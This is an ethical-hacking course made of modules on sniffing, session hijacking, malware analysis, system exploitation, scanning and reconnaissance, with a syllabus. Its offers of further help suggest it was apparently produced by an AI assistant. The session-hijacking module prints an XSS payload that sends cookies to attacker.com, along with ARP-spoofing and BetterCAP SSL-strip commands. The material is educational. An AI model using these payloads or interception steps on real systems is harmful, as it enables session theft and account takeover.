Sniffing & Session Hijacking

Introduction

Sniffing and session hijacking are critical network attacks where an attacker intercepts and manipulates network traffic to steal sensitive data or take over authenticated sessions. This guide covers techniques, tools, and defenses.

1. Network Sniffing

What is Sniffing?

- Capturing and analyzing network traffic.

- Used for passive reconnaissance (e.g., stealing passwords, cookies).

- Works on unencrypted (HTTP, FTP, Telnet) and weakly encrypted protocols.

Types of Sniffing

1. Passive Sniffing 

   - Works on hubs (broadcast traffic).  

   - Attacker silently captures packets.  

2. Active Sniffing  

   - Works on switched networks (requires ARP spoofing).  

   - Techniques: ARP Poisoning, MAC Flooding, DNS Spoofing.  

Sniffing Tools

| Tool | Purpose |

|------|---------|

|   Wireshark  | GUI-based packet analyzer |

|    Tcpdump  | Command-line packet capture |

|     Ettercap   | MITM (Man-in-the-Middle) attacks |

|  BetterCAP  | Advanced MITM framework |

|      dsniff      | Password sniffing |

How to Perform Sniffing?

Step 1: Set Up Promiscuous Mode

bash

ifconfig eth0 promisc  # Enable promiscuous mode

Step 2: Capture Traffic with Wireshark

- Open Wireshark → Select interface → Start capture.

- Apply filters (e.g., http , ftp , tcp.port == 80`).

Step 3: Analyze Packets

- Look for plaintext passwords (HTTP, FTP).

- Extract cookies (`Cookie:` header in HTTP).

2. Session Hijacking

What is Session Hijacking?

- Stealing a valid session token (cookie, session ID) to impersonate a user.

- Common targets: Web apps, SSH, RDP, Telnet.

Types of Session Hijacking

|     Type         |        Method         |

|         ------     |          --------         |

|    Predictable Session Tokens     | Guessing weak session IDs |

|        Session Sidejacking      |      Sniffing unencrypted cookies |

|       Session Fixation   |       Forcing a victim to use attacker’s session ID |

|  Cross-Site Scripting (XSS)   | Stealing cookies via JavaScript |

| Man-in-the-Middle (MITM) | Intercepting and modifying traffic |

Session Hijacking Tools

| Tool  | Purpose |

|------|---------|

|    Burp Suite  | Intercepting & modifying HTTP sessions |

| ZAP (OWASP) | Web app session hijacking |

|        Ferret         |      Cookie hijacking tool |

|     Hamster       | Sidejacking tool (with Ferret) |

|      Ettercap      | MITM-based session hijacking |

How to Perform Session Hijacking?

Method 1: Cookie Theft via XSS

1. Inject malicious script:

  javascript

   document.location='http://attacker.com/steal.php?cookie='+document.cookie;

  2. Capture stolen cookie on attacker’s server (steal.php logs cookies).

Method 2: ARP Spoofing + Cookie Sniffing

1. ARP Poisoning (redirect traffic to attacker):

   bash

   arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

2. Use Wireshark or Ettercap to sniff cookies.

3. Modify browser cookies (Chrome DevTools → Application → Cookies).

Method 3: Session Fixation

1. Generate a fake session ID (PHPSESSID=attacker123).

2. Trick victim into using it (via phishing).

3. When victim logs in, attacker reuses the same session.

3. Defenses Against Sniffing & Hijacking

Preventing Sniffing

✔ Encrypt traffic (HTTPS, SSH, VPN).  

✔ Disable unused protocols (Telnet, FTP).  

✔ Use ARP spoofing detection (ARPWatch, XArp).  

✔ Network segmentation (VLANs, firewalls).  

Preventing Session Hijacking

✔ Use HTTPS (SSL/TLS) for all web traffic.  

✔ Secure cookies (HttpOnly ,  Secure ,  SameSite  flags).  

✔ Regenerate session IDs  after login.  

✔ Implement CSRF tokens .  

✔ Monitor abnormal logins (IP changes, multiple sessions).  

4. Hands-On Lab

Lab: Stealing Cookies with BetterCAP

1. Install BetterCAP:

   bash

   sudo apt install bettercap

2. Start ARP spoofing:

   bash

   sudo bettercap -iface eth0  

   > net.probe on

   > net.recon on

   > arp.spoof on

   

3. Sniff HTTP traffic:

   bash

   > set http.proxy.sslstrip true  

   > http.proxy on

  

4. Analyze stolen cookies in BetterCAP logs.

1. Search logs for Cookie: or Set-Cookie: headers.

2. Extract session tokens (e.g., PHPSESSID, JSESSIONID).

3. Check for missing security flags (Secure, HttpOnly).

4. Test cookie validity via curl or Burp Suite.

5. Recommend HTTPS, secure flags, and HSTS to prevent future theft.

Stolen cookies enable session hijacking if unprotected.

Conclusion

- Sniffing = Capturing unencrypted traffic.  

- Session Hijacking = Stealing active sessions.  

- Defenses = Encryption, secure cookies, monitoring.  

🔹 Next Steps: 

 Module 7: Web Application Hacking 

- Try HTTPS decryption (SSLstrip, mitmproxy).  

- Explore browser security (CSP, HSTS).  

- Practice on CTF challenges  (Hack The Box, TryHackMe).  

Would you like a step-by-step demo  on intercepting an SSH session? 🚀

Malware Threats & Analysis

Introduction to Malware

Malware making is the part of cybersecurity course. Malware (Malicious Software) is any program designed to harm, exploit, or infiltrate a system without the user's consent. It includes viruses, worms, trojans, ransomware, spyware, and more.

Types of Malware

1. Viruses

- Attaches itself to clean files and spreads when executed.

- Example: ILOVEYOU, Melissa.

2. Worms

- Self-replicating malware that spreads over networks.

- Example: WannaCry, Conficker.

3. Trojans

- Disguised as legitimate software but performs malicious actions.

- Example: Zeus , Emotet.

4. Ransomware

- Encrypts files and demands payment for decryption.

- Example: REvil , LockBit.

5. Spyware

- Secretly monitors user activity (keyloggers, screen capture).

- Example: DarkComet , FinFisher.

6. Rootkits

- Gains privileged access and hides malicious processes.

- Example: Stuxnet , TDL4.

7. Adware

- Displays unwanted ads and collects user data.

- Example: Fireball , Superfish.

8. Botnets

- Infected devices controlled remotely (DDoS, spam).

- Example: Mirai , Zeus.

Malware Analysis Techniques

1. Static Analysis

- Examines malware without executing it.

- Tools:  PEiD ,  Exeinfo PE , Strings , IDA Pro , Ghidra.

- Techniques:

  - File hashing (MD5, SHA-1, SHA-256).

  - Header analysis (PE, ELF, Mach-O).

  - Strings extraction.

  - Disassembly & decompilation.

2. Dynamic Analysis

- Executes malware in a controlled environment.

Tools: Cuckoo Sandbox , Process Monitor , Wireshark , FakeNet.

Techniques:

  - API call monitoring.

  - Registry & file system changes.

  - Network traffic analysis.

  - Behavioral analysis.

3. Hybrid Analysis

- Combines static and dynamic techniques.

Tools: Hybrid Analysis , VirusTotal , Joe Sandbox.

Malware Analysis Lab Setup

1. Isolated Environment

- Use virtual machines (VMWare, VirtualBox).

- Disable shared folders & clipboard.

- Use Windows 10/11 (for malware targeting Windows).

2. Analysis Tools

Static Analysis:

  PE Explorer (PE header analysis).  

  Ghidra (reverse engineering).  

  Detect It Easy (DIE) (packer detection).  

Dynamic Analysis:

  - Process Hacker (monitor processes).  

  - ProcMon (registry/file monitoring).  

  - Wireshark (network traffic).  

  - FakeNet-NG (simulate network).  

Sandboxing:  

  - Cuckoo Sandbox (automated analysis).  

  - Any.Run (interactive sandbox).  

3. Malware Samples

Legitimate Sources:  

  - MalwareBazaar (https://bazaar.abuse.ch)  

  - VirusShare (https://virusshare.com)  

  - TheZoo (GitHub repo).  

⚠️ Warning: Never run malware on a host machine. Always use a disposable VM with no internet access.

Step-by-Step Malware Analysis

1. Initial Assessment

- Check file type (`file`, `Exeinfo PE`).

- Calculate hashes (`md5sum`, `sha256sum`).

- Scan with VirusTotal (https://www.virustotal.com).

2. Static Analysis

- Extract strings (`strings`, `FLOSS`).

- Detect packers/obfuscation (`PEiD`, `Detect It Easy`).

- Disassemble with **Ghidra/IDA Pro.

3. Dynamic Analysis

- Run in Cuckoo Sandbox.

- Monitor processes (`Process Hacker`).

- Capture network traffic (`Wireshark`).

- Check persistence mechanisms (Registry, Startup).

4. Reverse Engineering

- Use Ghidra IDA Pro for decompilation.

- Analyze API calls (`Import Address Table`).

- Debug with x64dbg/OllyDbg.

5. Reporting

- Document findings (IOCs, behavior, C2 servers).

- Extract YARA rules for detection.

Advanced Malware Analysis

1. Analyzing Packed Malware

Unpacking Tools:  

  - UPX (for UPX-packed malware).  

  - x64dbg (manual unpacking).  

2. Analyzing Shellcode

Tools:

  - scdbg (shellcode debugger).  

  - Libemu (shellcode emulator).  

3. Analyzing Document-Based Malware (PDF, Office)

Tools: 

  - oleid (Office file analysis).  

  - PDFiD (PDF analysis).  

4. Analyzing Ransomware

- Check encryption routines.

- Look for ransom note patterns.

- Analyze C2 communication.

Malware Detection & Prevention

1. Signature-Based Detection

- Uses known malware hashes (YARA rules, ClamAV).

2. Behavioral Detection

- Monitors unusual activities (Cylance, CrowdStrike).

3. Heuristic Analysis

- Detects unknown malware based on behavior.

4. Endpoint Protection

- EDR (Endpoint Detection & Response) tools:  

  - CrowdStrike Falcon  

  - Microsoft Defender ATP  

5. Network-Based Protection

- Firewalls , IDS/IPS , SIEM (Splunk, ELK).

Conclusion

- Malware analysis requires both static and dynamic techniques.

- Always analyze in a safe, isolated environment.

- Keep learning reverse engineering and behavioral analysis.

- Stay updated with new malware trends (fileless malware, AI-based attacks).

🔹 Next Steps:  

Module 6: Sniffing & Session Hijacking 

- Practice with CTF challenges (MalwareTech, Flare-On).  

- Join malware research communities (Malwarebytes, BleepingComputer).  

- Contribute to open-source malware analysis tools.  

System Hacking & Exploitation

Introduction to System Hacking

System hacking is the part of cybersecurity course and involves identifying and exploiting vulnerabilities in computer systems to gain unauthorized access. Ethical hackers use these techniques to test security defenses, while malicious actors use them for personal gain.

Phases of System Hacking

1. Reconnaissance

   - Passive information gathering (WHOIS, DNS records)

   - Active scanning (Nmap, Nessus)

   - Social engineering techniques

2. Scanning & Enumeration

   - Port scanning (TCP/UDP)

   - Service identification

   - Network mapping

   - User account enumeration

3. Gaining Access

   - Password cracking

   - Exploiting vulnerabilities

   - Privilege escalation techniques

4. Maintaining Access

   - Rootkits installation

   - Backdoors creation

   - Trojan horses

5. Covering Tracks

   - Log manipulation

   - File hiding

   - Timestamp alteration

 Password Cracking Techniques

1. Dictionary Attacks

- Uses predefined wordlists (RockYou.txt, SecLists)

- Tools: John the Ripper, Hashcat

2. Brute Force Attacks

- Tries all possible combinations

- Can be time/resource intensive

- Tools: Hydra, Medusa

3. Rainbow Table Attacks

- Uses precomputed hash tables

- Effective against unsalted hashes

- Tools: RainbowCrack, Ophcrack

4. Hybrid Attacks

- Combines dictionary words with mutations

- Appends numbers/special characters

- Tools: Hashcat with rule-based attacks

5. Credential Stuffing

- Uses previously breached credentials

- Takes advantage of password reuse

Exploitation Techniques

1. Buffer Overflows

- Stack-based overflows

- Heap-based overflows

- Return-oriented programming (ROP)

- Tools: Immunity Debugger, GDB

2. Memory Corruption

- Use-after-free vulnerabilities

- Double-free vulnerabilities

- Integer overflows/underflows

 3. Web Application Exploits

- SQL injection

- Cross-site scripting (XSS)

- Cross-site request forgery (CSRF)

- Server-side request forgery (SSRF)

4. Privilege Escalation

- Kernel exploits (DirtyCow, Sudo Baron Samedit)

- Misconfigured permissions

- Scheduled tasks/cron jobs

- SUID/SGID binaries

5. Post-Exploitation Techniques

- Lateral movement (Pass-the-Hash, RDP hijacking)

- Persistence mechanisms (Registry keys, Startup folders)

- Data exfiltration techniques

Advanced Exploitation Methods

1. Return-Oriented Programming (ROP)

- Bypasses DEP/NX protections

- Chains existing code segments (gadgets)

- Tools: ROPgadget, Ropper

2. Heap Feng Shui

- Manipulates heap memory layout

- Used in browser exploits

- Requires precise memory control

3. JIT Spraying

- Targets Just-In-Time compilers

- Injects malicious native code

- Common in browser exploitation

4. ASLR Bypass Techniques

- Memory leaks to disclose addresses

- Partial overwrites

- Bruteforcing (in 32-bit environments)

Modern Exploitation Challenges

1. Protection Mechanisms

   - Data Execution Prevention (DEP)

   - Address Space Layout Randomization (ASLR)

   - Control Flow Integrity (CFI)

   - Stack Canaries

2. Sandbox Escape Techniques

   - Kernel exploits

   - Logical flaws in sandbox design

   - Side-channel attacks

3. Exploit Mitigation Bypasses

   - ROP/JOP/COP chains

   - Memory disclosure to bypass ASLR

   - Heap grooming to bypass mitigations

Ethical Considerations

1. Legal Implications

   - Only hack systems you own or have permission to test

   - Understand computer crime laws in your jurisdiction

2. Responsible Disclosure

   - Report vulnerabilities to vendors

   - Allow reasonable time for patching

   - Follow coordinated disclosure practices

3. Professional Ethics

   - Maintain confidentiality of findings

   - Avoid causing unnecessary damage

   - Respect privacy of users

Tools of the Trade

1. Exploitation Frameworks

   - Metasploit Framework

   - Cobalt Strike

   - CANVAS

   - Core Impact

2. Debugging/Reverse Engineering

   - IDA Pro

   - Ghidra

   - WinDbg

   - Radare2

3. Fuzzing Tools

   - AFL (American Fuzzy Lop)

   - Peach Fuzzer

   - Sulley

   - Boofuzz

4. Binary Analysis

   - Binary Ninja

   - angr

   - BAP (Binary Analysis Platform)

Defense Against System Hacking

1. Secure Coding Practices

   - Input validation

   - Memory-safe languages

   - Principle of least privilege

2. System Hardening

   - Regular patching

   - Disabling unnecessary services

   - Implementing proper access controls

3. Monitoring & Detection

   - SIEM solutions

   - Intrusion Detection Systems (IDS)

   - Endpoint Detection and Response (EDR)

4. Security Testing

   - Regular penetration testing

   - Red team exercises

   - Bug bounty programs

Next Step:-

 Module 5: Malware Threats & Analysis 

This guide provides an overview of system hacking and exploitation concepts. Remember that these techniques should only be used ethically and legally, with proper authorization.

Scanning & Enumeration

 Scanning & Enumeration – In cybersecurity course

(Follows Footprinting & Reconnaissance)  

1. Introduction to Scanning & Enumeration  

Scanning → Identifying live hosts, open ports, and services.  

Enumeration → Extracting detailed info (users, shares, services, banners).  

Key Objectives:  

- Discover network topology (devices, firewalls, routers).  

- Identify vulnerable services (misconfigurations, outdated software).  

- Gather user accounts, shares, and system data for exploitation.  

2. Scanning Techniques & Types 

A. Host Discovery (Finding Live Systems)  

- Ping Sweep – Checks which IPs respond to ICMP.  

  bash

  nmap -sn 192.168.1.0/24

  

ARP Scanning (Local network, bypasses firewalls).  

  bash

  arp-scan -l

  B. Port Scanning (Finding Open Ports)  

|       Scan Type       |      Description                         |        Command                     |

|---------------------|-----------------------------------------|---------------------------------|

|   TCP Connect Scan | Completes full 3-way handshake (noisy) | `nmap -sT 192.168.1.1`          |

|       SYN Stealth Scan   |        Half-open scan (stealthier)            | `nmap -sS 192.168.1.1`          |

|     UDP Scan       |       Checks UDP services (slow but critical) | `nmap -sU 192.168.1.1`          |

|             ACK Scan        |       Bypasses stateless firewalls           | `nmap -sA 192.168.1.1`          |

C. Service & OS Detection  

- Banner Grabbing – Identifies service versions.  

  bash

  nc -nv 192.168.1.1 80

  ```

- OS Fingerprinting – Detects OS via TCP/IP stack.  

  bash

  nmap -O 192.168.1.1

D. Vulnerability Scanning  

- Nmap NSE Scripts – Automated exploit checks.  

  bash

  nmap --script vuln 192.168.1.1

- Nessus/OpenVAS – Comprehensive vulnerability assessment.  

---

3. Enumeration Techniques 

A. NetBIOS Enumeration (Windows Networks) 

- Finds shares, users, groups.  

  bash

  nmblookup -A 192.168.1.1

  nbtscan 192.168.1.0/24

B. SNMP Enumeration 

- Extracts device info, configs via SNMP.  

  bash

  snmpwalk -c public -v1 192.168.1.1

C. LDAP Enumeration  

- Queries :- Active Directory users, groups.  

  bash

  ldapsearch -x -h 192.168.1.1 -b "dc=example,dc=com"

D. SMB Enumeration  

- Lists shares, users, permissions.  

  bash

  smbclient -L //192.168.1.1

  enum4linux -a 192.168.1.1

E. DNS Enumeration 

- Extracts DNS records, subdomains, mail servers.  

  `bash

  dnsrecon -d example.com

4. Advanced Scanning & Evasion 

A. Firewall Evasion Techniques  

- Fragmenting Packets (-f` in Nmap).  

- Decoy Scanning (Hide among fake IPs).  

  bash

  nmap -D RND:10 192.168.1.1

- Timing Adjustments (-T0` slow, -T5` aggressive).  

B. Proxy & VPN Scanning 

- Use Proxychains to anonymize scans.  

  bash

  proxychains nmap -sT 192.168.1.1

5. Hands-On Lab Exercises  

Exercise 1: Basic Network Scan  

bash

nmap -sS -p 1-1000 -A 192.168.1.1

- Interpret results: Open ports, services, OS.  

Exercise 2: SMB Enumeration  

bash

enum4linux -a 192.168.1.1

- Find: Shares, users, password policies.  

Exercise 3: Vulnerability Scanning  

bash

nmap --script vuln 192.168.1.1

-Check for: Heartbleed, Shellshock, misconfigurations.  

6. Countermeasures 

- Disable unnecessary services.  

- Use strong firewall rules (block ICMP, restrict port scans).  

- Patch systems & disable legacy protocols (SMBv1, SNMPv1).  

- Monitor logs for scanning activity.  

7. Tools Summary  

|    Tool              |           Purpose                          |

|-------------------|--------------------------------------|

|   Nmap       | Network scanning, OS detection       |

|   Netcat    | Banner grabbing, manual port checks  |

| enum4linux   | SMB/NetBIOS enumeration           |

|       snmpwalk    | SNMP data extraction                 |

|  Nessus       | Automated vulnerability scanning     |

8. Next Steps   

- Proceed to Module 4: System Hacking (password cracking, privilege escalation).  

Module 4: System Hacking & Exploitation 

- Practice on Hack The Box (HTB) / TryHackMe (THM).  

Need deeper dives on any tool (e.g., Nmap scripting, Metasploit integration)?

Footprinting & Reconnaissance

Module 2: Footprinting & Reconnaissance – In-Depth Guide  

1. Introduction to Footprinting

Footprinting (or reconnaissance) is the first phase of ethical hacking, where attackers gather information about a target before launching an attack. Ethical hackers use the same techniques to identify security weaknesses.  

Objectives:  

- Collect publicly available data about the target.  

- Identify network ranges, domains, IPs, employees, technologies.  

- Build a blueprint of the target’s security posture.  

2. Types of Footprinting 

A. Passive Footprinting  

- No direct interaction with the target.  

- Uses publicly available sources.  

- Examples:  

  - Google searches (Google Dorking)  

  - WHOIS lookup  

  - Social media (LinkedIn, Twitter)  

  - Job postings (revealing tech stacks)  

B. Active Footprinting  

- Direct interaction with the target.  

- More detectable but provides accurate data.  

- Examples:  

  - DNS interrogation (nslookup , dig)  

  - Network scanning (Nmap, Ping)  

  - Social engineering (calls, phishing)  

3. Footprinting Techniques & Tools  

A. Google Dorking (Advanced Search Queries)  

- Finds exposed files, directories, and sensitive data.  

- Examples:  

  - `site:example.com filetype:pdf` (Finds PDFs on a site)  

  - `intitle:"index of" password` (Finds exposed password files)  

  - `inurl:/admin/login.php` (Finds admin login pages)  

B. WHOIS Lookup  

- Retrieves domain registration details:  

  - Owner name, email, phone number  

  - Registrar, DNS servers, creation/expiry dates  

- Tools: 

  - `whois` command (Linux)  

  - [whois.domaintools.com](https://whois.domaintools.com/)  

  - `WHOIS` Kali Linux tools  

C. DNS Enumeration 

- Extracts DNS records(A, MX, TXT, NS).  

- Tools: 

  - nslookup  

  - dig (Domain Information Groper)  

  -  dnsenum (Kali Linux)  

  - [DNSDumpster](https://dnsdumpster.com/) 

 

D. Social Media & OSINT (Open-Source Intelligence)  

- Gathers employee names, emails, tech stack.  

- Tools:  

  - Maltego (Visual link analysis)  

  - theHarvester (Email, domain scraping)  

  - Sherlock (Username search across platforms)  

  - LinkedIn, GitHub, Twitter (Manual recon) 

 

E. Network Scanning (Preliminary)  

- Identifies live hosts, open ports, services.  

- Tools:

  - ping (Checks host availability)  

  - Nmap (Advanced network scanning)  

  - Masscan (Fast large-scale scans)  

4. Advanced Reconnaissance Techniques  

A. Email Harvesting  

- Collects employee emails for phishing tests.  

- Tools:  

  - Hunter.io  

  - theHarvester (theHarvester -d example.com -b google)  

B. Subdomain Enumeration  

- Finds subdomains (e.g., admin.example.com).  

- Tools:  

  - Sublist3r 

  - Amass (Passive/active subdomain discovery)  

  - OWASP Amass 

C. Metadata Extraction  

- Extracts hidden data from PDFs, Word, Excel files.  

- Tools:  

  - exiftool  

  - Metagoofil (Automates extraction from Google results)  

D. Website Mirroring (Offline Analysis)  

- Downloads a full copy of a website for inspection.  

- Tools: 

  - wget --mirror 

  - HTTrack  

5. Countermeasures Against Footprinting  

Organizations can defend against reconnaissance by:  

- Restricting WHOIS data (Private domain registration).  

- Disabling directory listings on web servers.  

- Monitoring logs for unusual scans.  

- Educating employees on social engineering risks.  

6. Hands-On Lab Exercise  

Task: Perform Passive & Active Recon on a Target  

1. Google Dorking – Find exposed files (site:example.com filetype:pdf).  

2. WHOIS Lookup – Identify domain owner (whois example.com).  

3. DNS Enumeration – List all DNS records (dig example.com ANY).  

4. Subdomain Discovery – Use Sublist3r (sublist3r -d example.com).  

5. Email Harvesting – Use theHarvester (theHarvester -d example.com -b google).  

7. Tools Checklist  

|     Tool              |        Purpose                             |  

|-------------------|--------------------------------------|  

|      Maltego       | Visual link analysis & OSINT         |  

| theHarvester  | Email, domain, and subdomain search  |  

| Nmap          | Network scanning & service detection |  

| Sublist3r     | Subdomain enumeration                |  

| Metagoofil    | Metadata extraction from documents   |  

8. Next Steps 

- Move to Module 3: Scanning & Enumeration (Nmap, Nessus, NetBIOS).  

Module 3: Scanning & Enumeration  click here

- Practice CTF challengeson [TryHackMe](https://tryhackme.com/) or [Hack The Box](https://www.hackthebox.com/).  

Would you like a deeper dive into any specific tool or technique (e.g., Nmap scanning, Maltego, or social engineering recon)?

Introduction to Ethical Hacking

Introduction to Ethical Hacking and Cybersecurity 

1. What is Ethical Hacking?  

Ethical hacking (also known as penetration testing or white-hat hacking) is the authorized practice of bypassing system security to identify vulnerabilities before malicious hackers (black-hat hackers) can exploit them.  

Key Objectives:

- Identify security weaknesses in systems, networks, and applications.  

- Help organizations strengthen their defenses.  

- Prevent unauthorized access, data breaches, and cyberattacks.  

2. Ethical Hacking vs. Malicious Hacking  

|     Aspect              |     Ethical Hacking                          | Malicious Hacking                |  

|---------------------|----------------------------------------|----------------------------------------|  

| Purpose         | Legal, authorized security testing     | Illegal, unauthorized exploitation     |  

| Permission      | Has explicit consent from the owner    | No permission, often criminal activity |  

| Goal            | Improve security, report vulnerabilities | Steal data, cause damage, profit       |  

| Outcome         | Fixes vulnerabilities                           | Exploits vulnerabilities for harm      |  

3. Roles of an Ethical Hacker or cybersecurity 

Ethical hackers work in various roles, including:  

- Penetration Tester – Simulates attacks to find security flaws.  

- Security Analyst – Monitors and defends against threats.  

- Red Teamer – Acts as an adversary to test defenses.  

- Vulnerability Assessor – Identifies and classifies security risks.  

- Bug Bounty Hunter – Finds and reports bugs for rewards (e.g., HackerOne, Bugcrowd).  

4. Legal and Ethical Aspects 

Laws & Compliance:  

- Computer Fraud and Abuse Act (CFAA) – U.S. law against unauthorized access.  

- General Data Protection Regulation (GDPR) – Protects user data in the EU.  

- Penetration Testing Rules – Must have written permission before testing.  

Ethical Guidelines: 

- Do no harm – Avoid disrupting systems.  

- Confidentiality – Protect sensitive data found during testing.  

- Responsible Disclosure – Report vulnerabilities privately before public disclosure.  

5. Penetration Testing Methodologies  

Ethical hackers follow structured approaches:  

A. OSSTMM (Open Source Security Testing Methodology Manual) 

- Focuses on operational security testing.  

- Covers information security, process security, internet technology security.  

B. PTES (Penetration Testing Execution Standard)

- 7 Phases:  

  1. Pre-Engagement (Scope, rules of engagement)  

  2. Intelligence Gathering (Reconnaissance)  

  3. Threat Modeling(Identifying attack vectors)  

  4. Vulnerability Analysis (Scanning for weaknesses)  

  5. Exploitation (Gaining access)  

  6. Post-Exploitation (Maintaining access, pivoting)  

  7. Reporting (Documenting findings & recommendations)  

C. NIST SP 800-115 (Technical Guide to Penetration Testing)

- Provides a standardized approach for security assessments.  

6. Setting Up a Hacking Lab

To practice ethical hacking safely, you need a controlled environment:  

A. Virtualization Tools  

- VMware / VirtualBox – Run multiple OS instances.  Know More......

- Kali Linux– Pre-installed with hacking tools.   Knoe More......

B. Practice Targets 

- Metasploitable – Intentionally vulnerable Linux VM.  

- DVWA (Damn Vulnerable Web App) – For web hacking practice.  

- OWASP Juice Shop – Modern vulnerable web app.  

C. Networking Setup  

- Bridged / Host-Only Networking – Isolate lab from real networks.  

7. Types of Hackers

|     Type               |     Motivation                              |     Legality       |  

|--------------------|----------------------------------------|--------------------|  

| White-Hat      | Ethical, authorized security testing   | Legal              |  

| Black-Hat      | Malicious, criminal intent             | Illegal            |  

| Grey-Hat       | Finds vulnerabilities without permission but may report them | Legal/Illegal (depends) |  

| Script Kiddie | Uses pre-made tools without deep knowledge | Often illegal     |  

| Hacktivist     | Hacks for political/social causes      | Usually illegal    |  

8. Common Ethical Hacking Certifications 

|    Certification  |   Organization       |   Focus Area          |  

|-------------------|------------------------|-------------------------|  

|   CEH (Certified Ethical Hacker) | EC-Council | Broad ethical hacking concepts |  

|  OSCP (Offensive Security Certified Professional)  | Offensive Security | Hands-on penetration testing |  

|   eJPT (eLearnSecurity Junior Penetration Tester) | eLearnSecurity | Beginner-friendly pentesting |  

|  CISSP (Certified Information Systems Security Professional) | (ISC)² | Advanced cybersecurity management |  

9. Why Learn Ethical Hacking?

- High Demand – Cybersecurity jobs are growing rapidly.  

- Good Salaries – Ethical hackers earn $80,000–$150,000+ annually.  

- Protect Businesses – Help prevent financial losses from cyberattacks.  

- Legal & Rewarding – Get paid to hack (legally).  

Next Steps: 

- Install  Kali Linux  and set up a lab.  

- Learn  Networking Basics  (TCP/IP, DNS, Firewalls).  

- Start with   Nmap scanning  and  Metasploit basics.  

Module 2: Footprinting & Reconnaissance

Would you like a deeper dive into any specific topic (e.g., penetration testing phases, tools, or legal aspects)?

Syllabus

Ethical Hacking Syllabus  

Course Title: Ethical Hacking & Penetration Testing 

Duration:12-16 Weeks  

Prerequisites: Basic knowledge of networking, operating systems (Windows/Linux), and programming (Python/Bash).  

Module 1: Introduction to Ethical Hacking

- Understanding Ethical Hacking vs. Malicious Hacking  

- Roles of an Ethical Hacker  

- Legal and Ethical Aspects (Laws, Certifications, Compliance)  

- Penetration Testing Methodologies (OSSTMM, PTES, NIST)  

- Setting Up a Hacking Lab (Virtual Machines, Kali Linux, Metasploit)  

Module 2: Footprinting & Reconnaissance

- Passive vs. Active Reconnaissance  

- Gathering Information Using:  

  - Google Dorking  

  - WHOIS, DNS Lookup, and Reverse IP Lookup  

  - Social Engineering & OSINT Tools (Maltego, theHarvester)  

- Network Scanning Techniques (Nmap, Masscan) 

 

Module 3: Scanning & Enumeration 

- Network Scanning Techniques (Ping Sweeps, Port Scanning)  

- Vulnerability Scanning (Nessus, OpenVAS)  

- Enumeration (NetBIOS, SNMP, LDAP, SMB)  

- Banner Grabbing & Service Fingerprinting 

 

Module 4: System Hacking & Exploitation  

- Password Cracking (John the Ripper, Hashcat, Hydra)  

- Privilege Escalation (Windows & Linux)  

- Exploiting Vulnerabilities (Metasploit Framework)  

- Maintaining Access (Backdoors, Rootkits, Trojans)  

- Covering Tracks (Log Tampering, File Deletion)  

Module 5: Malware Threats & Analysis 

- Types of Malware (Viruses, Worms, Trojans, Ransomware)  

- Analyzing Malware (Static & Dynamic Analysis)  

- Reverse Engineering Basics (Ghidra, IDA Pro)  

- Antivirus Evasion Techniques

  

Module 6: Sniffing & Session Hijacking  

- Packet Sniffing (Wireshark, Tcpdump)  

- MITM Attacks (ARP Spoofing, DNS Spoofing)  

- Session Hijacking (Cookie Stealing, TCP Hijacking)  

- SSL Stripping & HSTS Bypass  

Module 7: Web Application Hacking 

- OWASP Top 10 Vulnerabilities  

  - SQL Injection (SQLi)  

  - Cross-Site Scripting (XSS)  

  - Cross-Site Request Forgery (CSRF)  

  - Broken Authentication  

  - Security Misconfigurations  

- Web App Testing Tools (Burp Suite, OWASP ZAP)  

- API Security Testing  

Module 8: Wireless Network Hacking

- Wi-Fi Encryption (WEP, WPA, WPA2, WPA3)  

- Cracking Wi-Fi Passwords (Aircrack-ng, Wifite)  

- Rogue Access Points & Evil Twin Attacks  

- Bluetooth Hacking (BlueBorne, BLE Exploits)  

Module 9: Social Engineering & Phishing  

- Psychological Manipulation Techniques  

- Phishing Attacks (Email, SMS, Voice Phishing)  

- Creating Fake Login Pages (SEToolkit, GoPhish)  

- Defending Against Social Engineering  

Module 10: Cloud Security & IoT Hacking 

- Cloud Security Risks (AWS, Azure, GCP)  

- Container & Kubernetes Security  

- IoT Device Exploitation (Firmware Analysis, Default Credentials)  

Module 11: Post-Exploitation & Reporting

- Data Exfiltration Techniques  

- Pivoting & Lateral Movement  

- Writing Professional Penetration Test Reports  

- Mitigation & Remediation Strategies  

Module 12: Capture The Flag (CTF) & Hands-On Labs  

- Practical Challenges (Vulnhub, Hack The Box, TryHackMe)  

- Real-World Scenario Simulations  

- Final Project: Full-Scope Penetration Test  

***You can check out Here for Ethical Hacking  Programming Language ***

Certification & Career Guidance

- Recommended Certifications (CEH, OSCP, eJPT, PNPT)  

- Ethical Hacking Career Paths (Pen Tester, Security Analyst, Red Teamer) 

 

Assessment & Grading:

- Weekly Labs & Challenges – 40%  

- Mid-Term Exam (Theory + Practical) – 20%  

- Final CTF Challenge – 20%  

- Report Writing & Documentation – 20% 

 

Recommended Tools:

- Kali Linux, Metasploit, Burp Suite, Nmap, Wireshark, John the Ripper, Hashcat, Aircrack-ng, Ghidra  

Module 1: Introduction to Ethical Hacking

This syllabus provides a structured approach to learning ethical hacking, balancing theory with hands-on practice. Would you like any modifications based on specific certifications or focus areas?